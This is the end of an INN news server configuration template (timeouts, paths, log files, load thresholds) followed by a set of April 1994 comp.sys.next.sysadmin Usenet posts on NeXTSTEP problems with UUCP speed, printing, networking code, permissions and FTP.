#### =()<CHECK_LINECOUNT @<CHECK_LINECOUNT>@>()=
CHECK_LINECOUNT DONT
## If checking, the error must be within LINECOUNT_FUZZ lines.
## Five is number of .signature lines + 1.
#### =()<LINECOUNT_FUZZ @<LINECOUNT_FUZZ>@>()=
LINECOUNT_FUZZ 5
## Have innd throttle itself after this many I/O errors.
#### =()<IO_ERROR_COUNT @<IO_ERROR_COUNT>@>()=
IO_ERROR_COUNT 50
## Default value for ctlinnd -t flag; use 0 to wait and poll.
#### =()<CTLINND_TIMEOUT @<CTLINND_TIMEOUT>@>()=
CTLINND_TIMEOUT 0
## Flush logs if we go this long with no I/O.
#### =()<DEFAULT_TIMEOUT @<DEFAULT_TIMEOUT>@>()=
DEFAULT_TIMEOUT 300
## INND closes channel if inactive this long (seconds).
#### =()<PEER_TIMEOUT @<PEER_TIMEOUT>@>()=
PEER_TIMEOUT (1 * 60 * 60)
## NNRP exits if inactive this long (seconds).
#### =()<CLIENT_TIMEOUT @<CLIENT_TIMEOUT>@>()=
CLIENT_TIMEOUT (2 * 60 * 60)
## Allow nnrpd readers when paused or throttled? Pick DO or DONT.
#### =()<ALLOW_READERS @<ALLOW_READERS>@>()=
ALLOW_READERS DO
## Refuse newsreader connections if load is higher then this; -1 disables.
#### =()<NNRP_LOADLIMIT @<NNRP_LOADLIMIT>@>()=
NNRP_LOADLIMIT 16
## Don't readdir() spool dir if same group within this many secs.
#### =()<NNRP_RESCAN_DELAY @<NNRP_RESCAN_DELAY>@>()=
NNRP_RESCAN_DELAY 60
## Do gethostbyaddr on client adresses in nnrp? Pick DO or DONT.
## (If DONT, then use only IP addresses in hosts.nnrp)
#### =()<NNRP_GETHOSTBYADDR @<NNRP_GETHOSTBYADDR>@>()=
NNRP_GETHOSTBYADDR DO
## How many Message-ID retrievals until nnrpd does a dbzincore? Set
## to -1 to never do incore.
#### =()<NNRP_DBZINCORE_DELAY @<NNRP_DBZINCORE_DELAY>@>()=
NNRP_DBZINCORE_DELAY 40
## Strip Sender from posts that didn't authenticate? Pick DO or DONT.
#### =()<NNRP_AUTH_SENDER @<NNRP_AUTH_SENDER>@>()=
NNRP_AUTH_SENDER DONT
## How many read/write failures until channel is put to sleep or closed?
#### =()<BAD_IO_COUNT @<BAD_IO_COUNT>@>()=
BAD_IO_COUNT 5
## Multiplier for sleep in EWOULDBLOCK writes (seconds).
#### =()<BLOCK_BACKOFF @<BLOCK_BACKOFF>@>()=
BLOCK_BACKOFF (2 * 60)
## How many article-writes between active and history updates?
#### =()<ICD_SYNC_COUNT @<ICD_SYNC_COUNT>@>()=
ICD_SYNC_COUNT 10
## Tell resolver _res.options to be fast? Pick DO or DONT.
#### =()<FAST_RESOLV @<FAST_RESOLV>@>()=
FAST_RESOLV DONT
## Drop articles that were posted this many days ago.
#### =()<DEFAULT_CUTOFF @<DEFAULT_CUTOFF>@>()=
DEFAULT_CUTOFF 14
## Maximum number of incoming NNTP connections.
#### =()<DEFAULT_CONNECTIONS @<DEFAULT_CONNECTIONS>@>()=
DEFAULT_CONNECTIONS 50
## Wait this many seconds before channel restarts.
#### =()<CHANNEL_RETRY_TIME @<CHANNEL_RETRY_TIME>@>()=
CHANNEL_RETRY_TIME (5 * 60)
## Wait this many seconds before seeing if pause is ended.
#### =()<PAUSE_RETRY_TIME @<PAUSE_RETRY_TIME>@>()=
PAUSE_RETRY_TIME (5 * 60)
## Wait this many seconds between noticing inactive channels.
#### =()<CHANNEL_INACTIVE_TIME @<CHANNEL_INACTIVE_TIME>@>()=
CHANNEL_INACTIVE_TIME (10 * 60)
## Put nntplink info (filename) into the log?
#### =()<NNTPLINK_LOG @<NNTPLINK_LOG>@>()=
NNTPLINK_LOG DONT
## Log by host IP address, rather than from Path line?
#### =()<IPADDR_LOG @<IPADDR_LOG>@>()=
IPADDR_LOG DONT
## Log NNTP activity after this many articles.
#### =()<NNTP_ACTIVITY_SYNC @<NNTP_ACTIVITY_SYNC>@>()=
NNTP_ACTIVITY_SYNC 200
## Free buffers bigger than this when we're done with them.
#### =()<BIG_BUFFER @<BIG_BUFFER>@>()=
BIG_BUFFER (2 * START_BUFF_SIZE)
## A general small buffer.
#### =()<SMBUF @<SMBUF>@>()=
SMBUF 256
## Buffer for a single article name.
#### =()<MAXARTFNAME @<MAXARTFNAME>@>()=
MAXARTFNAME 10
## Buffer for a single pathname in the spool directory.
#### =()<SPOOLNAMEBUFF @<SPOOLNAMEBUFF>@>()=
SPOOLNAMEBUFF 512
## Maximum size of a single header.
#### =()<MAXHEADERSIZE @<MAXHEADERSIZE>@>()=
MAXHEADERSIZE 1024
## Byte limit on locally-posted articles; 0 to disable the check.
#### =()<LOCAL_MAX_ARTSIZE @<LOCAL_MAX_ARTSIZE>@>()=
LOCAL_MAX_ARTSIZE 0
## Do you have uustat, or just uuq? Pick DO or DONT
#### =()<HAVE_UUSTAT @<HAVE_UUSTAT>@>()=
HAVE_UUSTAT DO
##
## 7. PATHS TO COMMON PROGRAMS
## Where the raison d'etre for this distribution lives.
#### =()<_PATH_INND @<_PATH_INND>@>()=
_PATH_INND /usr/local/etc/innd
## Where the optional front-end that exec's innd lives.
#### =()<_PATH_INNDSTART @<_PATH_INNDSTART>@>()=
_PATH_INNDSTART /usr/local/etc/inndstart
## Where news boot-up script should be installed.
#### =()<_PATH_NEWSBOOT @<_PATH_NEWSBOOT>@>()=
_PATH_NEWSBOOT /usr/local/etc/rc.news
## Where sendmail, or a look-alike, lives.
## The -t is optional and says to read message for recipients
#### =()<_PATH_SENDMAIL @<_PATH_SENDMAIL>@>()=
_PATH_SENDMAIL /usr/lib/sendmail -t
## Where the shell is.
#### =()<_PATH_SH @<_PATH_SH>@>()=
_PATH_SH /bin/sh
## Where the compress program lives.
#### =()<_PATH_COMPRESS @<_PATH_COMPRESS>@>()=
_PATH_COMPRESS /usr/ucb/compress
## What extension your compress appends
#### =()<_PATH_COMPRESSEXT @<_PATH_COMPRESSEXT>@>()=
_PATH_COMPRESSEXT .Z
## Where egrep lives (you might need the FSF one; see scanlogs)
#### =()<_PATH_EGREP @<_PATH_EGREP>@>()=
_PATH_EGREP /usr/bin/egrep
## Where awk lives
#### =()<_PATH_AWK @<_PATH_AWK>@>()=
_PATH_AWK /usr/local/bin/gawk
## Where sed lives (you might need the FSF one)
#### =()<_PATH_SED @<_PATH_SED>@>()=
_PATH_SED sed
## Where inews lives.
#### =()<_PATH_INEWS @<_PATH_INEWS>@>()=
_PATH_INEWS /usr/local/news/inews
## Where rnews lives.
#### =()<_PATH_RNEWS @<_PATH_RNEWS>@>()=
_PATH_RNEWS /bin/rnews
## Where the NNRP server lives.
#### =()<_PATH_NNRPD @<_PATH_NNRPD>@>()=
_PATH_NNRPD /usr/local/etc/in.nnrpd
## The path of the process run when an unknown host connects to innd.
## Usually the same as _PATH_NNRPD, but may be, e.g., the path to
## nntpd from the reference implementation.
#### =()<_PATH_NNTPD @<_PATH_NNTPD>@>()=
_PATH_NNTPD /usr/local/etc/in.nnrpd
## Where the NNQR server lives. Make same as _PATH_NNRPD for now
#### =()<_PATH_NNQRD @<_PATH_NNRPD>@>()=
_PATH_NNQRD /usr/local/etc/in.nnrpd
## Where most other programs live.
## See also _PATH_RNEWSPROGS and _PATH_CONTROLPROGS, below.
#### =()<_PATH_NEWSBIN @<_PATH_NEWSBIN>@>()=
_PATH_NEWSBIN /usr/local/news/bin
## Where temporary files live on the server
#### =()<_PATH_TMP @<_PATH_TMP>@>()=
_PATH_TMP /tmp
## Command to send mail (with -s "subject" allowed)
#### =()<_PATH_MAILCMD @<_PATH_MAILCMD>@>()=
_PATH_MAILCMD /usr/ucb/Mail
## Where scripts should have shlock create locks.
#### =()<_PATH_LOCKS @<_PATH_LOCKS>@>()=
_PATH_LOCKS /usr/local/news
##
## 8. PATHS RELATED TO THE SPOOL DIRECTORY
## Spool directory, where articles live.
#### =()<_PATH_SPOOL @<_PATH_SPOOL>@>()=
_PATH_SPOOL /usr/local/spool/news
## Spool directory where overview data lives.
#### =()<_PATH_OVERVIEWDIR @<_PATH_OVERVIEWDIR>@>()=
_PATH_OVERVIEWDIR /usr/local/spool/news
## Name of overview file within its spool directory.
#### =()<_PATH_OVERVIEW @<_PATH_OVERVIEW>@>()=
_PATH_OVERVIEW .overview
## Where rnews spools its input.
#### =()<_PATH_SPOOLNEWS @<_PATH_SPOOLNEWS>@>()=
_PATH_SPOOLNEWS /usr/local/spool/news/in.coming
## Where rnews creates temporary files until finished
#### =()<_PATH_SPOOLTEMP @<_PATH_SPOOLTEMP>@>()=
_PATH_SPOOLTEMP /usr/local/spool/news/in.coming/tmp
## Where rnews puts bad input.
#### =()<_PATH_BADNEWS @<_PATH_BADNEWS>@>()=
_PATH_BADNEWS /usr/local/spool/news/in.coming/bad
## Where rnews puts bad input, relative to _PATH_SPOOLNEWS.
#### =()<_PATH_RELBAD @<_PATH_RELBAD>@>()=
_PATH_RELBAD bad
##
## 9. EXECUTION PATHS FOR INND AND RNEWS
## Pathname where dups are logged if RNEWS_LOG_DUPS is FILE.
#### =()<_PATH_RNEWS_DUP_LOG @<_PATH_RNEWS_DUP_LOG>@>()=
_PATH_RNEWS_DUP_LOG /dev/null
## Rnews may execute any program in this directory; see RNEWSPROGS.
#### =()<_PATH_RNEWSPROGS @<_PATH_RNEWSPROGS>@>()=
_PATH_RNEWSPROGS /usr/local/news/bin/rnews
## Path to control messages scripts.
#### =()<_PATH_CONTROLPROGS @<_PATH_CONTROLPROGS>@>()=
_PATH_CONTROLPROGS /usr/local/news/bin/control
## Default "unknown/illegal" control script, within _PATH_CONTROLPROGS.
#### =()<_PATH_BADCONTROLPROG @<_PATH_BADCONTROLPROG>@>()=
_PATH_BADCONTROLPROG default
##
## 10. SOCKETS CREATED BY INND OR CLIENTS
#### =()<_PATH_INNDDIR @<_PATH_INNDDIR>@>()=
_PATH_INNDDIR /usr/local/news/innd
## Unix-domain stream socket that rnews connects to.
#### =()<_PATH_NNTPCONNECT @<_PATH_NNTPCONNECT>@>()=
_PATH_NNTPCONNECT /usr/local/news/innd/nntpin
## Unix-domain datagram socket that ctlinnd to.
#### =()<_PATH_NEWSCONTROL @<_PATH_NEWSCONTROL>@>()=
_PATH_NEWSCONTROL /usr/local/news/innd/control
## Temporary socket created by ctlinnd; run through mktemp
#### =()<_PATH_TEMPSOCK @<_PATH_TEMPSOCK>@>()=
_PATH_TEMPSOCK /usr/local/news/innd/ctlinndXXXXXX
##
## 11. LOG AND CONFIG FILES
## Shell script that sets most of these as shell vars
#### =()<_PATH_SHELLVARS @<_PATH_SHELLVARS>@>()=
_PATH_SHELLVARS /usr/local/news/innshellvars
## Where most config and data files are usually stored; not required
## to the home directory of NEWSUSER.
#### =()<_PATH_NEWSLIB @<_PATH_NEWSLIB>@>()=
_PATH_NEWSLIB /usr/local/news
## The server's log file.
#### =()<_PATH_LOGFILE @<_PATH_LOGFILE>@>()=
_PATH_LOGFILE /usr/local/log/news/news
## The server's error log file.
#### =()<_PATH_ERRLOG @<_PATH_ERRLOG>@>()=
_PATH_ERRLOG /usr/local/log/news/errlog
## Where most sylog log files go; see also scanlogs, innstat, etc.
#### =()<_PATH_MOST_LOGS @<_PATH_MOST_LOGS>@>()=
_PATH_MOST_LOGS /usr/local/log/news
## How many generates of log files to keep.
#### =()<LOG_CYCLES @<LOG_CYCLES>@>()=
LOG_CYCLES 7
## Text value of the server's pid.
#### =()<_PATH_SERVERPID @<_PATH_SERVERPID>@>()=
_PATH_SERVERPID /usr/local/news/innd/innd.pid
## The newsfeeds file, on the server host.
#### =()<_PATH_NEWSFEEDS @<_PATH_NEWSFEEDS>@>()=
_PATH_NEWSFEEDS /usr/local/news/newsfeeds
## The article history database, on the server host.
#### =()<_PATH_HISTORY @<_PATH_HISTORY>@>()=
_PATH_HISTORY /usr/local/news/history
## File listing the sites that feed us news.
#### =()<_PATH_INNDHOSTS @<_PATH_INNDHOSTS>@>()=
_PATH_INNDHOSTS /usr/local/news/hosts.nntp
## The active file, on the server host.
#### =()<_PATH_ACTIVE @<_PATH_ACTIVE>@>()=
_PATH_ACTIVE /usr/local/news/active
## A temporary active file, for writing on the server host.
#### =()<_PATH_NEWACTIVE @<_PATH_NEWACTIVE>@>()=
_PATH_NEWACTIVE /usr/local/news/active.tmp
## An old active file on the server host.
#### =()<_PATH_OLDACTIVE @<_PATH_OLDACTIVE>@>()=
_PATH_OLDACTIVE /usr/local/news/active.old
## The log of when groups are created.
#### =()<_PATH_ACTIVETIMES @<_PATH_ACTIVETIMES>@>()=
_PATH_ACTIVETIMES /usr/local/news/active.times
## Where batch files are located.
#### =()<_PATH_BATCHDIR @<_PATH_BATCHDIR>@>()=
_PATH_BATCHDIR /usr/local/spool/news/out.going
## Where archives are kept.
#### =()<_PATH_ARCHIVEDIR @<_PATH_ARCHIVEDIR>@>()=
_PATH_ARCHIVEDIR /usr/local/spool/news/news.archive
## Where NNRP distributions file is
#### =()<_PATH_NNRPDIST @<_PATH_NNRPDIST>@>()=
_PATH_NNRPDIST /usr/local/news/distributions
## Where the default Distribution assignments file is
#### =()<_PATH_DISTPATS @<_PATH_DISTPATS>@>()=
_PATH_DISTPATS /usr/local/news/distrib.pats
#### =()<_PATH_NEWSGROUPS @<_PATH_NEWSGROUPS>@>()=
_PATH_NEWSGROUPS /usr/local/news/newsgroups
## File where client configuration parameters can be read.
#### =()<_PATH_CONFIG @<_PATH_CONFIG>@>()=
_PATH_CONFIG /usr/local/news/inn.conf
## The possible active file, on clients (NFS-mounted, e.g.).
#### =()<_PATH_CLIENTACTIVE @<_PATH_CLIENTACTIVE>@>()=
_PATH_CLIENTACTIVE /usr/local/news/active
## A temporary file, for client inews to use.
#### =()<_PATH_TEMPACTIVE @<_PATH_TEMPACTIVE>@>()=
_PATH_TEMPACTIVE /tmp/activeXXXXXX
## Where to mail to the moderators.
#### =()<_PATH_MODERATORS @<_PATH_MODERATORS>@>()=
_PATH_MODERATORS /usr/local/news/moderators
## Where NNTP puts the name of the server.
#### =()<_PATH_SERVER @<_PATH_SERVER>@>()=
_PATH_SERVER /usr/local/news/server
## File with name/password for all remote connections.
#### =()<_PATH_NNTPPASS @<_PATH_NNTPPASS>@>()=
_PATH_NNTPPASS /usr/local/news/passwd.nntp
## NNRP access file.
#### =()<_PATH_NNRPACCESS @<_PATH_NNRPACCESS>@>()=
_PATH_NNRPACCESS /usr/local/news/nnrp.access
## Default expire control file.
#### =()<_PATH_EXPIRECTL @<_PATH_EXPIRECTL>@>()=
_PATH_EXPIRECTL /usr/local/news/expire.ctl
## Prolog to parse control scripts
#### =()<_PATH_PARSECTL @<_PATH_PARSECTL>@>()=
_PATH_PARSECTL /usr/local/news/parsecontrol
## Access control file for control scripts.
#### =()<_PATH_CONTROLCTL @<_PATH_CONTROLCTL>@>()=
_PATH_CONTROLCTL /usr/local/news/control.ctl
## Innwatch control file.
#### =()<_PATH_CTLWATCH @<_PATH_CTLWATCH>@>()=
_PATH_CTLWATCH /usr/local/news/innwatch.ctl
## Where innwatch writes its own pid.
#### =()<_PATH_WATCHPID @<_PATH_WATCHPID>@>()=
_PATH_WATCHPID /usr/local/news/innwatch.pid
## Where innwatch writes status when it gets an interrupt
#### =()<_PATH_INNWSTATUS @<_PATH_INNWSTATUS>@>()=
_PATH_INNWSTATUS /usr/local/news/innwatch.status
## Format of news overview database
#### =()<_PATH_SCHEMA @<_PATH_SCHEMA>@>()=
_PATH_SCHEMA /usr/local/news/overview.fmt
##
## 12. INNWATCH CONFIGURATION
## Load average (* 100) at which innd should be paused.
#### =()<INNWATCH_PAUSELOAD @<INNWATCH_PAUSELOAD>@>()=
INNWATCH_PAUSELOAD 1500
## Load average (* 100) at which innd should be throttled.
#### =()<INNWATCH_HILOAD @<INNWATCH_HILOAD>@>()=
INNWATCH_HILOAD 2000
## Load average (* 100) at which to restart innd (pause/throttle undone).
#### =()<INNWATCH_LOLOAD @<INNWATCH_LOLOAD>@>()=
INNWATCH_LOLOAD 1000
## Space, in df output units, at which to throttle innd on _PATH_SPOOL.
#### =()<INNWATCH_SPOOLSPACE @<INNWATCH_SPOOLSPACE>@>()=
INNWATCH_SPOOLSPACE 8000
## Space, in df output units, at which to throttle innd on _PATH_BATCHDIR.
#### =()<INNWATCH_BATCHSPACE @<INNWATCH_BATCHSPACE>@>()=
INNWATCH_BATCHSPACE 800
## Space, in df output units, at which to throttle innd on _PATH_NEWSLIB.
#### =()<INNWATCH_LIBSPACE @<INNWATCH_LIBSPACE>@>()=
INNWATCH_LIBSPACE 25000
## Number of inodes at which to throttle innd on _PATH_SPOOL.
#### =()<INNWATCH_SPOOLNODES @<INNWATCH_SPOOLNODES>@>()=
INNWATCH_SPOOLNODES 200
## How long to sleep between innwatch iterations.
#### =()<INNWATCH_SLEEPTIME @<INNWATCH_SLEEPTIME>@>()=
INNWATCH_SLEEPTIME 600
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From: ian@mindvox.phantom.com (Ian Bainbridge)
Newsgroups: comp.sys.next.sysadmin
Subject: Metamail on NeXT
Date: Wed, 20 Apr 94 09:25:29 EDT
Organization: [MindVox] / Phantom Access Technologies / (+1 800-MindVox)
Distribution: world
Message-ID: <7s23kc1w165w@mindvox.phantom.com>
Originator: ian@mindvox
If anyone has gotten the current version of metamail to compile under
NeXTSTEP 3.2, I would appreciate some pointers, or preferrably a location
for the source code for same!
thanks
ian #################
@ #Ian Bainbridge #
mindvox. # ###############################################
phantom. # I am not responsible for my opinons, I don't know or care! #
com ###############################################################
Newsgroups: comp.sys.next.sysadmin
From: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Subject: Re: UUCP and high speed connections: HELP!
Message-ID: <1994Apr20.133754.573@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
References: <2ouf13$e4v@newsflash.mitre.org>
Date: Wed, 20 Apr 1994 13:37:54 GMT
In article <2ouf13$e4v@newsflash.mitre.org> wherndon@smiley.mitre.org (William
Herndon) writes:
> OK, I've read the online documentation. I've coordinated with the ad-
> ministrator of the site that "feeds" my NeXTStation. I've tried mul-
> tiple configurations, and I still can't seem to get a uucp connection
> that transfers more than 700 to 800 characters/second.
The problem is in the NeXT (BSD) implementation of UUCP. NexT-BSD UUCP uses 64
bytes per packet and a window of 3 packets. This is hard coded.
With NeXT-BSD UUCP you cannot get beyond the 800cps barrier. The overhead of
the acknoweldegements and the small packet size is the cause.
The best way to get around this is to grab Taylor UUCP from an ftp site. This
is FSF-licensed software and it is the best UUCP around. Taylor has several
protocols. The one I use with my feed (wo also run Taylor UUCP) is the
bidirectional i-protocol, with a packet size of 1024 bytes and a window size of
7. That way, I can get 1600cps on a 14.4k link and 1900cps on a 19.2k link.
--
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"If you don't know where you're going, any road will take you there"
Paraphrased in Alice in Wonderland, originally from the Talmud.
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
From: arrouye@petole.imag.fr (Yves Arrouye)
Subject: Bug in network routines?
Message-ID: <1994Apr20.141627.6829@imag.fr>
Sender: news@imag.fr
Organization: Institut Imag, Grenoble, France
Date: Wed, 20 Apr 1994 14:16:27 GMT
Hello,
Using the following code to get the internet address of an host works for some
hosts on our net, works for next.com too, but not for prep.ai.mit.edu for
example. Could someone see the error?
struct hostent* me = gethostbyname(anhostname);
char** aliases;
if (!me) {
printf("no host found\n");
exit(1);
}
printf("host %s\n", me->h_name);
for (aliases = me->h_aliases; *aliases; ++aliases) {
printf("alias %s\n", *aliases);
}
for (aliases = me->h_addr_list; *aliases >= *me->h_addr_list; ++aliases) {
struct in_addr hostaddr;
struct netent* thenet;
strncpy(&hostaddr.s_addr, *aliases, me->h_length);
printf("inet %s", inet_ntoa(hostaddr));
/**/ {
char* serverHost = inet_ntoa(hostaddr);
unsigned long inetaddr;
if ((inetaddr = inet_addr(serverHost)) != -1) {
struct in_addr hostaddr;
struct hostent* host;
hostaddr.s_addr = inetaddr;
if (host = gethostbyaddr((char*) &hostaddr, sizeof(hostaddr),
AF_INET)) {
serverHost = host->h_name;
}
}
printf(", host %s\n", serverHost);
}
}
Thanks,
Yves.
--
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Arrouye
program does not need the extra flexibility (a lie),
Yves.Arrouye@imag.fr
while advocates for the Objective-C school claim that (33) 76 57 48
64
the errors are no problem in practice (another lie). NeXT
Mail
From: nielsen@bears.Stanford.EDU (James Nielsen)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: ATI Mach 32
Date: 20 Apr 1994 16:14:04 GMT
Organization: Stanford University
Message-ID: <2p3kcc$kra@nntp2.Stanford.EDU>
I have a friend who is installing NS-fip on a generic Pentium/PCI system.
His video card is an ATI Mach 32 PCI -- he has been unable to make it work
at anything higher than normal VGA. I seem to remember reading something
a while back about a change which needed to be made to the driver in order
to make this card work....
Any thoughts or suggestions? Thanks.
-jamey.
From: wherndon@smiley.mitre.org (William Herndon)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: UUCP and high speed connections: HELP!
Date: 20 Apr 1994 16:51:00 GMT
Organization: The MITRE Corporation, McLean, VA
Message-ID: <2p3mhk$t7v@newsflash.mitre.org>
References: <2ouf13$e4v@newsflash.mitre.org>
In article <2ouf13$e4v@newsflash.mitre.org>,
William Herndon <wherndon@smiley.mitre.org> wrote:
>
> Anybody got an ideas? Does v.32bis imply a compression? Is there a
> way to verify the current speed of /dev/cufb while a UUCP connection is
> enabled? Any and all help is appreciated. Thanks much.
>
Many thanks to all the kind souls who suggested Taylor UUCP. I got
a copy, installed it, and am now blazing along at over 1700 bytes/sec.
- Max
| William R. Herndon \ The MITRE Corporation, Dept. G023 |
| EMail: wherndon@mitre.org \ Secure Information Technology |
| NeXTMail: bill@pandora.gcr.com \ MS-Z231, 703.883.6393 |
| |
| "Necessity is the mother of strange bedfellows." |
Newsgroups: comp.sys.next.sysadmin
From: scott@geom.umn.edu (Scott S. Bertilson)
Subject: new PPD missed by running Terminal
Message-ID: <CoKIyM.Ir@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: The Geometry Center, University of Minnesota
Date: Wed, 20 Apr 1994 17:26:29 GMT
I'm installing a new printer which wasn't included in:
/NextLibrary/PrinterTypes/English.lproj/*.ppd
It seems that I have to stop and restart Terminal before it sees
that I've added the file. Once the file has once been seen, it
seems not to notice that it has gone away unless I restart. Strangely,
when it has once been seen, it seems to readily accept changes to the
file and they are reflected the next time I pop up the Print panel.
Can anyone tell me why Terminal doesn't notice when the file appears
and disappears and/or tell me how I can get it to notice?
Thanks, Scott S. Bertilson
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Newsgroups: comp.sys.next.sysadmin
From: nsv@fct.unl.pt (Nuno Viegas)
Subject: Re: Mounting a mac floppy disk
Message-ID: <1994Apr20.130248.12257@fct.unl.pt>
Sender: news@fct.unl.pt (USENET News System)
Organization: F.C.T.-Universidade Nova de Lisboa, PORTUGAL
References: <2ove1k$dpn@falcon.ccs.uwo.ca>
Date: Wed, 20 Apr 1994 13:02:48 GMT
In article <2ove1k$dpn@falcon.ccs.uwo.ca> plenson@hi_presure_lab.gp.uwo.ca
writes:
> Hi, I'm trying to read a mac disk on my NeXT (black) 3.0
> and having no luck. I seemed to remember that this was
> possible any suggestions?
>
> thanx peter
NeXT can't read 800K mac disks
could this be your problem ?
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: sendmail Mail.app question...
Date: 20 Apr 1994 18:09:27 +0100
Organization: me organised, that's a joke.
Message-ID: <2p3nk7$2ni@steffi.demon.co.uk>
If sendmail/Mail.app sees two aliases on the To: header and the same user
appears on each will that user get that message twice?
Somebody today has send me mail with two aliaes addresses which I
believe I'm on both and I've received duplicate copies of each
message.
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From: gina@nutri-grain.ai.mit.edu (Gina A. Levow)
Newsgroups: comp.sys.next.sysadmin
Subject: User name/permission conflicts
Date: 20 Apr 1994 17:16:23 GMT
Organization: MIT AI lab
Sender: gina@nutri-grain (Gina A. Levow)
Distribution: world
Message-ID: <2p3o17INN4if@life.ai.mit.edu>
Hello,
I've recently started working on a NeXT "slab" 68040
running 3.0. After having the system up for a couple of
weeks, I went to close the gaping security hole of having
the user "me"'s password set to null. (Yes, I should have done
this sooner, but...) When I entered preferences to change
the password, I got an error dialogue box saying "Can not
change password." (Different from the error for mistyping
new password.) I did an nidump of the users and found
that "me" was not a listed user. However, "whoami" returned
"me".("me" also had an entry in the /etc/passwd file.)
So, I went into user manager and created user "me".
Then I was able to set the password successfully.
However,...
Now if I go into one of the directories created
before by "me" and try to write into the directory (mkdir,cp,etc)
I get "permission denied", whoami returns "me", and the
directory has permissions:
drwxr-xr-x 16 me 3072 Mar 28 12:07 /snd
etc..
How can I get the system to believe that me = me?
Any ideas would be greatly appreciated.
Thanks,
Gina Levow
Graduate Student
MIT AI lab
Newsgroups: comp.sys.next.sysadmin
From: csaky@mars.sztaki.hu (Istvan Csaky)
Subject: WANTED: trace - system call tracer
Message-ID: <CoKq4L.HLG@sunserv.sztaki.hu>
Sender: news@sunserv.sztaki.hu (News system)
Organization: Computer and Automation Institute
Date: Wed, 20 Apr 1994 19:57:57 GMT
Hello all,
I'm looking for the NS version of the system call tracer utility (trace).
It's a very useful utility & I miss it a lot on NeXTs. Is it available
anywhere?
Our site will be connected to the net within a month, so it's time
to make steps towards security. My question is: are NeXTs secure?
if not, where can I find a list of vulnerabilities and patches.
Thanks,
Istvan Csaky
system administrator
From: kinch@valve.heart.rri.uwo.ca (Dave Kinchlea)
Newsgroups: comp.sys.next.sysadmin
Subject: Color Map under 3.2
Date: 20 Apr 1994 19:24:18 GMT
Organization: John P. Robarts Research Institute, London Ont. CA
Distribution: world
Message-ID: <2p3vh2$gvk@falcon.ccs.uwo.ca>
Howdy:
I am having trouble with my colourmap under NS 3.2
(NextStation/Mono). Colours being sent to the printer are being
unnecessarily dithered (even colours like cyan). I have confirmed that
this is the postscript driver program, the underlying files have not
changed. Any help is appreciated, there seems little relevant in
NextAnswers or the FAQs.
cheerskinch
Dave Kinchlea System Administrator/Research Programmer
Heart Valve Lab,
John P. Robarts Research Institute
London, Ontario, Canada,
Can God make a rock too big for Him to lift?
From: jheidelo@alleg.edu (Jason Heideloff)
Newsgroups: comp.sys.next.sysadmin
Subject: Kermit
Date: 20 Apr 1994 13:33:36 GMT
Organization: Allegheny College
Message-ID: <2p3avg$38@mustang.alleg.edu>
Can anyone tell me if there is a FAT version of Kermit anywhere on the
sites?
E-mail responses are preferred!
Thanks!!!
--
Jason Heideloff... jheidelo@alleg.edu
Allegheny College
NeXTMail Welcome
From: rfoote@rwj.sph.umich.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Paralell Port NS/I Doesn't work.
Date: 20 Apr 94 21:53:34
Organization: University of Michigan
Distribution: world
Message-ID: <rfoote.94Apr20215334@rwj.sph.umich.edu>
References: <schwettCM7xrI.F89@netcom.com> <next2.762968721@info2.rus.uni-stuttgart.de> <schwettCMAKu1.2rn@netcom.com>
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I'm happy that Mark was able to resolve his problem, but now I'm stumped. Same problem.
After receiving several positive reviews of the TI MicroWriter PS23, I'm now a proud owner.
However, I can't seem to choose "Parallel" in the Print Manager configuration in order to use it. Here's what I checked:
1) The printer is turned on before the computer.
2) The onboard parallel port is registered in the CMOS as LPT2 (0x378), IRQ7.
3) I ran configure and checked to make sure the settings there matched.
4) I noticed that during bootup, pp0 (I assume that's the parallel port driver) wasn't loading.
5) I modified /etc/rc to manually load the driver [/usr/etc/driverLoader D=ParallelPort]
6) I still can't choose "Parallel" to communicate with my printer.
7) cat >/dev/pp0 will print to it.
Help!
What's preventing the port driver from loading at startup? Is there something I have to do besides run configure?
More importantly, how do I get my new printer to print postscript through NEXTSTEP?
Any suggestions, ideas, pointer to info, etc. much appreciated. Thanks.
Richard Foote (rfoote@umich.edu)
>Markus,
>
>You suggested that I "turn on my printer before boot..."
>
>I guess you missed this part of my message :
> I had heard that the printer needed to be on when the system was booted,
> so I tried that...
>
><G>
>
>Actually, it turns out that on a Micronics JX30 MB like gateway uses, or at
>least on MY Micronics JX30 MB, the CMOS needs to be set for LPT2 and not 1,
>even though I tell NS/i that it is LPT1.
>
>It works fine now.
>
>Jeez, what a wierd one...
>
>Thanks everyone,
>
>Mark
Newsgroups: comp.sys.next.sysadmin
From: nathan@laplace.csb.yale.edu (Nathan F. Janette)
Subject: Re: network printing to HP LaserJet 4si, anybody done this?
Message-ID: <1994Apr21.030407.1646@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale University, Department of Computer Science, New Haven, CT
References: <2p2d6n$cf7@vixen.cso.uiuc.edu>
Date: Thu, 21 Apr 1994 03:04:07 GMT
In article <2p2d6n$cf7@vixen.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David
Lemson) writes:
> >Yes, there is a product called TCPrd, by one of the European NeXT software
> >houses, the demo product is on sonata.cc.purdue.edu and cs.orst.edu and
works
> >just fine, we have it running at a few sites. Costs (from memory) $60.
>
> If the JetDirect simulates a standard Berkeley lpd server
It does not, which is why one must either use the software
mentioned above, or another network card that does support
lpr/lpd, such as the Emulex NetJet.
--
Nathan "USENET" Janette
Systems Manager, Brunger Lab, Dept MB&B, Yale Univ/HHMI, New Haven, CT
PPP link from hilbert.csb.yale.edu
Please reply to: nathan@laplace.csb.yale.edu (NeXT)
Newsgroups: comp.sys.next.sysadmin
From: geoff@math.ucla.edu (Geoffrey Mess)
Subject: Ftp problem
Message-ID: <1994Apr21.034233.5101@math.ucla.edu>
Sender: news@math.ucla.edu
Organization: UCLA, Mathematics Department
Date: Thu, 21 Apr 94 03:42:33 GMT
Has anyone else had hangups when ftp ing sites (such as math.utah.edu,
dehn@mth.pdx.edu, math.lfc.edu) which have an ftp server which sends
a welcome message like this one:
...
